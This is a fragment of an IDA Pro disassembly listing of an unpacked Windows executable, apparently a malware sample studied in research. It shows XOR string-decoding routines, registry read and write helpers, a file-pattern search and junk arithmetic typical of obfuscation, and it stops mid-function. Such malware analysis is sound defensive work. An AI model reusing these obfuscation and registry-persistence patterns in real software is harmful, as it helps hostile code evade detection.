;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	62AB2277CF6D3A6691AD4C7513367956

; File Name   :	u:\work\62ab2277cf6d3a6691ad4c7513367956_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0000C000 (  49152.)
; Section size in file		: 0000C000 (  49152.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_text		segment	para public 'DATA' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; DATA XREF: sub_401020+Ao
					; sub_43EFBD+Ao

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		xor	eax, eax
		inc	eax
		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		jz	short locret_40101F
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_40101F:				; CODE XREF: sub_401000+Ej
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401020	proc near		; CODE XREF: sub_40109A+BEp
					; sub_40109A+ECp

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_401000
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_40103D:				; CODE XREF: sub_401020+44j
					; sub_401020+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40106C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_40106C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_40103D
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_40103D
; ---------------------------------------------------------------------------


loc_40106C:				; CODE XREF: sub_401020+2Aj
					; sub_401020+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401020	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40107A	proc near		; CODE XREF: sub_40109A+B1p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_401092
		push	[ebp+arg_0]
		call	sub_40C8B4	; RtlUnwind
sub_40107A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401092	proc near		; DATA XREF: sub_40107A+Bo
					; sub_43F017+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401092	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40109A	proc near		; DATA XREF: sub_401219+10o
					; sub_407E49+Ao ...

var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		cld
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	dword_43C08C, eax
		mov	dword_43C090, ebx
		test	dword ptr [eax+4], 6
		jnz	loc_40117F
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		mov	dword_43C090, eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4010DD:				; CODE XREF: sub_40109A+DCj
		cmp	esi, 0FFFFFFFFh
		jz	loc_40118E
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_40116D
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword_43C030, eax
		mov	edx, [ebp+var_14]
		mov	eax, [edx]
		mov	dword_43C034, eax
		mov	eax, [edx+4]
		mov	dword_43C038, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, dword_43C03C
		mov	esi, dword_43C034
		rep movsd
		lea	edi, dword_43C03C
		mov	dword_43C034, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_40116D
		js	short loc_40117B
		mov	edi, [ebx+8]
		push	ebx
		call	sub_40107A
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_401020
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_40116D:				; CODE XREF: sub_40109A+54j
					; sub_40109A+A9j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_4010DD
; ---------------------------------------------------------------------------


loc_40117B:				; CODE XREF: sub_40109A+ABj
		xor	eax, eax
		jmp	short loc_4011F0
; ---------------------------------------------------------------------------


loc_40117F:				; CODE XREF: sub_40109A+23j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_401020
		add	esp, 0Ch


loc_40118E:				; CODE XREF: sub_40109A+46j
		push	0
		mov	dword_43C010, 0Bh
		push	0Bh
		call	sub_40CC44
		add	esp, 8
		or	eax, eax
		jnz	short loc_4011C9
		push	0
		mov	dword_43C010, 8
		push	8
		call	sub_40CC44
		add	esp, 8
		or	eax, eax
		jnz	short loc_4011C9
		mov	eax, 1
		jmp	short loc_4011F0
; ---------------------------------------------------------------------------


loc_4011C9:				; CODE XREF: sub_40109A+10Cj
					; sub_40109A+126j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4011F8
		push	eax
		push	dword_43C010
		call	sub_40CC44
		add	esp, 8
		push	dword_43C010
		call	sub_40CC2C
		add	esp, 4
		mov	eax, 1


loc_4011F0:				; CODE XREF: sub_40109A+E3j
					; sub_40109A+12Dj ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4011F8:				; CODE XREF: sub_40109A+132j
		cmp	dword_43C02C, 0
		jnz	short loc_401208
		mov	eax, 1
		jmp	short loc_4011F0
; ---------------------------------------------------------------------------


loc_401208:				; CODE XREF: sub_40109A+165j
		mov	eax, dword_43C02C
		push	0Bh
		jmp	eax
sub_40109A	endp

; ---------------------------------------------------------------------------
		pop	eax
		mov	eax, 1
		jmp	short loc_4011F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401219	proc near		; CODE XREF: start+500j
					; DATA XREF: start:loc_44A4FCo

var_30		= word ptr -30h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43C01C
		push	offset sub_40109A
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	eax
		fnstcw	[esp+30h+var_30]
		or	[esp+30h+var_30], 300h
		fldcw	[esp+30h+var_30]
		add	esp, 4
		push	0
		push	0
		push	offset dword_43C028
		push	offset dword_43C024
		push	offset dword_43C020
		call	sub_40CBCC
		push	dword_43C028
		push	dword_43C024
		push	dword_43C020
		mov	dword_43C014, esp
		call	sub_40C654
		add	esp, 18h
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		push	eax
		call	sub_40CBFC
		leave
		retn
sub_401219	endp

; ---------------------------------------------------------------------------
		mov	large fs:0, eax
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40129C	proc near		; CODE XREF: sub_408ED0+23p
					; sub_408ED0+3Fp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43C09C
		lea	eax, ds:41B7B0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_4], 14Bh
		xor	edi, edi
		jmp	short loc_4012E5
; ---------------------------------------------------------------------------


loc_4012CB:				; CODE XREF: sub_40129C+4Bj
		mov	eax, dword_43C09C
		add	eax, edi
		lea	eax, ds:41B7B0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D4h
		mov	[eax], dl
		inc	edi


loc_4012E5:				; CODE XREF: sub_40129C+2Dj
		cmp	edi, esi
		jl	short loc_4012CB
		mov	[ebp+var_8], 286h
		mov	eax, dword_43C09C
		add	eax, esi
		mov	byte ptr ds:dword_41B7B0[eax], 0
		xor	edi, edi
		mov	edi, dword_43C09C
		inc	dword_43C09C
		mov	eax, dword_43C09C
		add	eax, 5
		add	eax, esi
		mov	dword_43C09C, eax
		cmp	eax, 0E0Eh
		jle	short loc_40132A
		and	dword_43C09C, 0


loc_40132A:				; CODE XREF: sub_40129C+85j
		mov	[ebp+var_C], 3DBh
		lea	eax, dword_41B7B0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40129C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40133B	proc near		; CODE XREF: sub_408048+118p

var_14C1C	= dword	ptr -14C1Ch
var_14C18	= dword	ptr -14C18h
var_14C14	= dword	ptr -14C14h
var_14C10	= byte ptr -14C10h
var_8		= dword	ptr -8
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		mov	eax, 14C1Ch
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, dword_43C22C
		mov	[ebp+var_14C18], eax
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000000h
		push	offset dword_40F1E0
		call	sub_40C8CC	; CreateFileA
		mov	esi, eax
		mov	ebx, 1CA5h
		sub	ebx, 77B7h
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40138D
		xor	eax, eax
		jmp	loc_401420
; ---------------------------------------------------------------------------


loc_40138D:				; CODE XREF: sub_40133B+49j
		push	0
		lea	eax, [ebp+var_14C14]
		push	eax
		push	14C08h
		lea	eax, [ebp+var_14C10]
		push	eax
		push	esi
		call	sub_40C8A8	; ReadFile
		mov	[ebp+var_2], 434Fh
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		push	esi
		call	sub_40C7AC	; CloseHandle
		mov	[ebp+var_8], 67B8h
		mov	eax, 79B5h
		mul	[ebp+var_8]
		mov	[ebp+var_14C1C], eax
		mov	[ebp+var_8], eax
		xor	edi, edi


loc_4013DC:				; CODE XREF: sub_40133B+DCj
		mov	eax, 13h
		sub	eax, dword_43C098
		push	eax
		push	offset byte_433FE0
		lea	eax, [ebp+edi+var_14C10]
		push	eax
		call	sub_40181A
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_401409
		xor	eax, eax
		inc	eax
		jmp	short loc_401420
; ---------------------------------------------------------------------------


loc_401409:				; CODE XREF: sub_40133B+C7j
		call	sub_40C734	; GetCurrentProcessId
		add	edi, 11h
		cmp	edi, [ebp+var_14C14]
		jb	short loc_4013DC
		call	sub_40C7D0	; GetVersion
		xor	eax, eax


loc_401420:				; CODE XREF: sub_40133B+4Dj
					; sub_40133B+CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40133B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 2A0h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C23C
		lea	eax, ds:41A7F0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 2B3h
		xor	edi, edi
		jmp	short loc_401475
; ---------------------------------------------------------------------------


loc_40145B:				; CODE XREF: .text:00401477j
		mov	eax, dword_43C23C
		add	eax, edi
		lea	eax, ds:41A7F0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0F6h
		mov	[eax], dl
		inc	edi


loc_401475:				; CODE XREF: .text:00401459j
		cmp	edi, esi
		jl	short loc_40145B
		mov	dword ptr [ebp-0Ch], 25h
		mov	eax, dword_43C23C
		add	eax, esi
		mov	byte ptr ds:dword_41A7F0[eax], 0
		mov	edi, dword_43C23C
		inc	dword_43C23C
		mov	eax, dword_43C23C
		add	eax, 5
		add	eax, esi
		mov	dword_43C23C, eax
		cmp	eax, 0E06h
		jle	short loc_4014B8
		and	dword_43C23C, 0


loc_4014B8:				; CODE XREF: .text:004014AFj
		mov	dword ptr [ebp-10h], 20Bh
		lea	eax, dword_41A7F0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4014C9	proc near		; CODE XREF: sub_4061F7+E1p
					; sub_408B4C+128p ...

var_10		= dword	ptr -10h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= word ptr -4
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	[ebp+var_4], 19C3h
		sub	[ebp+var_4], 4EAAh
		mov	[ebp+var_1], 19h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_8]
		push	eax
		push	20019h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CB54	; RegOpenKeyExA
		mov	edi, eax
		mov	esi, 2238h
		mov	eax, 5994h
		mul	esi
		mov	[ebp+var_10], eax
		mov	esi, eax
		or	edi, edi
		jz	short loc_40151F
		xor	eax, eax
		jmp	short loc_40156A
; ---------------------------------------------------------------------------


loc_40151F:				; CODE XREF: sub_4014C9+50j
		call	sub_40C7D0	; GetVersion
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_8]
		call	sub_40CB60	; RegQueryValueExA
		mov	edi, eax
		mov	[ebp+var_9], 0B0h
		movzx	eax, [ebp+var_9]
		imul	eax, 38BBh
		mov	[ebp+var_9], al
		push	[ebp+var_8]
		call	sub_40CB48	; RegCloseKey
		call	sub_40C764	; RtlGetLastWin32Error
		or	edi, edi
		jz	short loc_401562
		xor	eax, eax
		jmp	short loc_40156A
; ---------------------------------------------------------------------------


loc_401562:				; CODE XREF: sub_4014C9+93j
		call	sub_40C764	; RtlGetLastWin32Error
		xor	eax, eax
		inc	eax


loc_40156A:				; CODE XREF: sub_4014C9+54j
					; sub_4014C9+97j
		pop	edi
		pop	esi
		leave
		retn
sub_4014C9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 3A7h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C248
		lea	eax, ds:4351E0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4015B4
; ---------------------------------------------------------------------------


loc_40159D:				; CODE XREF: .text:004015B6j
		mov	eax, dword_43C248
		add	eax, edi
		lea	eax, ds:4351E0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 35h
		mov	[eax], dl
		inc	edi


loc_4015B4:				; CODE XREF: .text:0040159Bj
		cmp	edi, esi
		jl	short loc_40159D
		mov	dword ptr [ebp-8], 249h
		mov	eax, dword_43C248
		add	eax, esi
		mov	byte ptr ds:dword_4351E0[eax], 0
		mov	edi, dword_43C248
		mov	eax, edi
		add	eax, 6
		add	eax, esi
		mov	dword_43C248, eax
		inc	dword_43C248
		cmp	dword_43C248, 0DC9h
		jle	short loc_4015F9
		and	dword_43C248, 0


loc_4015F9:				; CODE XREF: .text:004015F0j
		mov	dword ptr [ebp-0Ch], 114h
		lea	eax, dword_4351E0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40160A	proc near		; CODE XREF: sub_405E88+9Cp
					; sub_405E88+D9p ...

var_10		= dword	ptr -10h
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		call	sub_40C740	; GetCurrentThreadId
		mov	[ebp+var_A], 6A47h
		add	[ebp+var_A], 5A3h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CB3C	; RegCreateKeyExA
		mov	edi, eax
		call	sub_40C7D0	; GetVersion
		or	edi, edi
		jz	short loc_401651
		xor	eax, eax
		jmp	short loc_4016AE
; ---------------------------------------------------------------------------


loc_401651:				; CODE XREF: sub_40160A+41j
		call	sub_40C7D0	; GetVersion
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_8]
		call	sub_40CB6C	; RegSetValueExA
		mov	edi, eax
		call	sub_40C734	; GetCurrentProcessId
		push	[ebp+var_8]
		call	sub_40CB48	; RegCloseKey
		mov	[ebp+var_1], 14h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		or	edi, edi
		jz	short loc_401694
		xor	eax, eax
		jmp	short loc_4016AE
; ---------------------------------------------------------------------------


loc_401694:				; CODE XREF: sub_40160A+84j
		call	sub_40C740	; GetCurrentThreadId
		cmp	[ebp+var_10], 1
		jnz	short loc_4016A6
		mov	eax, 2
		jmp	short loc_4016AE
; ---------------------------------------------------------------------------


loc_4016A6:				; CODE XREF: sub_40160A+93j
		call	sub_40C7D0	; GetVersion
		xor	eax, eax
		inc	eax


loc_4016AE:				; CODE XREF: sub_40160A+45j
					; sub_40160A+88j ...
		pop	edi
		leave
		retn
sub_40160A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C254
		lea	eax, ds:4383E0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4016F0
; ---------------------------------------------------------------------------


loc_4016D6:				; CODE XREF: .text:004016F2j
		mov	eax, dword_43C254
		add	eax, edi
		lea	eax, ds:4383E0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 93h
		mov	[eax], dl
		inc	edi


loc_4016F0:				; CODE XREF: .text:004016D4j
		cmp	edi, esi
		jl	short loc_4016D6
		mov	eax, dword_43C254
		add	eax, esi
		mov	byte ptr ds:dword_4383E0[eax], 0
		xor	edi, edi
		mov	edi, dword_43C254
		mov	eax, edi
		add	eax, 4
		add	eax, esi
		mov	dword_43C254, eax
		cmp	eax, 0DEEh
		jle	short loc_401725
		and	dword_43C254, 0


loc_401725:				; CODE XREF: .text:0040171Cj
		lea	eax, dword_4383E0[edi]
		pop	edi
		pop	esi
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40172F	proc near		; CODE XREF: sub_4054C8+159p
					; sub_408B4C+74p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C7D0	; GetVersion
		call	sub_40C740	; GetCurrentThreadId
		xor	esi, esi
		jmp	short loc_40176B
; ---------------------------------------------------------------------------


loc_401746:				; CODE XREF: sub_40172F+3Fj
		call	sub_40CC38
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		add	edi, 61h
		mov	edx, edi
		mov	[ebx+esi], dl
		inc	esi


loc_40176B:				; CODE XREF: sub_40172F+15j
		cmp	esi, [ebp+arg_4]
		jl	short loc_401746
		mov	eax, [ebp+arg_4]
		mov	byte ptr [ebx+eax], 0
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40172F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 12Bh
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C260
		lea	eax, ds:42FB20h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 283h
		xor	edi, edi
		jmp	short loc_4017CB
; ---------------------------------------------------------------------------


loc_4017B4:				; CODE XREF: .text:004017CDj
		mov	eax, dword_43C260
		add	eax, edi
		lea	eax, ds:42FB20h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 7Bh
		mov	[eax], dl
		inc	edi


loc_4017CB:				; CODE XREF: .text:004017B2j
		cmp	edi, esi
		jl	short loc_4017B4
		mov	dword ptr [ebp-0Ch], 10Ch
		mov	eax, dword_43C260
		add	eax, esi
		mov	byte ptr ds:dword_42FB20[eax], 0
		xor	edi, edi
		mov	edi, dword_43C260
		add	dword_43C260, 3
		mov	eax, dword_43C260
		lea	eax, [eax+esi+3]
		mov	dword_43C260, eax
		cmp	eax, 0DEDh
		jle	short loc_401810
		and	dword_43C260, 0


loc_401810:				; CODE XREF: .text:00401807j
		lea	eax, dword_42FB20[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40181A	proc near		; CODE XREF: sub_40133B+BAp
					; sub_40523D:loc_4052A8p ...

var_24		= dword	ptr -24h
var_1E		= byte ptr -1Eh
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= dword	ptr -11h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_D], 0C0h
		sub	[ebp+var_D], 75h
		and	[ebp+var_C], 0
		mov	eax, dword_43C264
		mov	[ebp+var_11], eax
		and	[ebp+var_8], 0
		jmp	loc_4018EA
; ---------------------------------------------------------------------------


loc_401840:				; CODE XREF: sub_40181A+E2j
		call	sub_40C764	; RtlGetLastWin32Error
		and	[ebp+var_4], 0
		mov	[ebp+var_12], 0D8h
		movzx	eax, [ebp+var_12]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_12], al
		xor	ebx, ebx
		jmp	short loc_4018D0
; ---------------------------------------------------------------------------


loc_40185E:				; CODE XREF: sub_40181A+C7j
		call	sub_40C7C4	; GetTickCount
		mov	eax, [ebp+var_8]
		add	eax, ebx
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+eax]
		mov	edx, [ebp+arg_4]
		movsx	edx, byte ptr [edx+ebx]
		cmp	eax, edx
		jnz	short loc_40187D
		inc	[ebp+var_4]


loc_40187D:				; CODE XREF: sub_40181A+5Ej
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_401885:				; CODE XREF: sub_40181A+70j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_401885
		cmp	[ebp+var_4], eax
		jnz	short loc_4018CF
		call	sub_40C734	; GetCurrentProcessId
		inc	[ebp+var_C]
		mov	[ebp+var_18], 5F0h
		mov	eax, 4B0Ah
		mul	[ebp+var_18]
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_C], eax
		jnz	short loc_4018BE
		mov	eax, [ebp+var_8]
		jmp	short loc_401907
; ---------------------------------------------------------------------------


loc_4018BE:				; CODE XREF: sub_40181A+9Dj
		lea	edi, [ebp+var_1E]
		lea	esi, aO68	; "o6,%8"
		mov	ecx, 3
		rep movsw


loc_4018CF:				; CODE XREF: sub_40181A+75j
		inc	ebx


loc_4018D0:				; CODE XREF: sub_40181A+42j
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_4018D8:				; CODE XREF: sub_40181A+C3j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4018D8
		cmp	ebx, eax
		jb	loc_40185E
		inc	[ebp+var_8]


loc_4018EA:				; CODE XREF: sub_40181A+21j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_4018F2:				; CODE XREF: sub_40181A+DDj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4018F2
		cmp	[ebp+var_8], eax
		jb	loc_401840
		mov	eax, 0FFFFh


loc_401907:				; CODE XREF: sub_40181A+A2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40181A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C278
		lea	eax, ds:4166F0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 2A0h
		xor	edi, edi
		jmp	short loc_401952
; ---------------------------------------------------------------------------


loc_40193B:				; CODE XREF: .text:00401954j
		mov	eax, dword_43C278
		add	eax, edi
		lea	eax, ds:4166F0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 1Bh
		mov	[eax], dl
		inc	edi


loc_401952:				; CODE XREF: .text:00401939j
		cmp	edi, esi
		jl	short loc_40193B
		mov	dword ptr [ebp-8], 29Ch
		mov	eax, dword_43C278
		add	eax, esi
		mov	byte ptr ds:dword_4166F0[eax], 0
		mov	edi, dword_43C278
		mov	eax, edi
		inc	eax
		add	eax, esi
		mov	dword_43C278, eax
		cmp	eax, 0DDFh
		jle	short loc_40198A
		and	dword_43C278, 0


loc_40198A:				; CODE XREF: .text:00401981j
		mov	dword ptr [ebp-0Ch], 0D8h
		lea	eax, dword_4166F0[edi]
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		call	sub_40C7D0	; GetVersion
		lea	edi, [ebp-6]
		lea	esi, aVlvh_	; "vlVh_"
		mov	ecx, 3
		rep movsw
		mov	ebx, [ebp+10h]
		jmp	short loc_4019DB
; ---------------------------------------------------------------------------


loc_4019BE:				; CODE XREF: .text:004019DEj
		mov	eax, [ebp+8]
		movsx	eax, byte ptr [eax+ebx]
		mov	edx, ebx
		sub	edx, [ebp+10h]
		mov	ecx, [ebp+0Ch]
		movsx	edx, byte ptr [ecx+edx]
		cmp	eax, edx
		jz	short loc_4019DA
		xor	eax, eax
		inc	eax
		jmp	short loc_4019E2
; ---------------------------------------------------------------------------


loc_4019DA:				; CODE XREF: .text:004019D3j
		inc	ebx


loc_4019DB:				; CODE XREF: .text:004019BCj
		cmp	ebx, [ebp+14h]
		jl	short loc_4019BE
		xor	eax, eax


loc_4019E2:				; CODE XREF: .text:004019D8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 3DDh
		push	esi
		push	dword ptr [ebp+8]
